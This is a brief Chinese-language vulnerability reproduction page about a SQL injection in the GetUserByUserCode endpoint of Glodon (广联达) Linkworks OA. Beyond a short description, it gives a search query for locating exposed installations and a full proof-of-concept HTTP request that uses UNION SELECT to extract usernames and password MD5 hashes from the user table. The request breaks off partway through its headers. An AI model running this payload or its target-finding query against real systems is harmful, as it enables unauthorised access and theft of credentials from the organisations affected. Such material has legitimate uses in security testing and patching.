广联达OA GetUserByUserCode SQL注入漏洞

一、漏洞简介

广联达办公OA(Office Automation)是一款综合办公自动化解决方案,旨在提高组织内部的工作效率和协作能力。它提供了一系列功能和工具,帮助企业管理和处理日常办公任务、流程和文档。由于 广联达 Linkworks办公OA GetUserByUserCode接口未对用户的输入进行有效的过滤,直接将其拼接进了SQL查询语句中,导致系统出现SQL注入漏洞。

二、影响版本

  • 广联达办公OA

三、资产测绘

  • hunterapp.name="广联达 OA"
  • 登录页面
    广联达OA GetUserByUserCode SQL注入漏洞_第1张图片

四、漏洞复现

可通过POC获取存在账号密码的MD5值

GET /Org/service/Service.asmx/GetUserByUserCode?EncryptData=1&userCode=1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20top%201%20concat(F_CODE,%27:%27,F_PWD_MD5)%20from%20T_ORG_USER),NULL,NULL--+ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application

你可能感兴趣的:(漏洞复现,sql,数据库,web安全)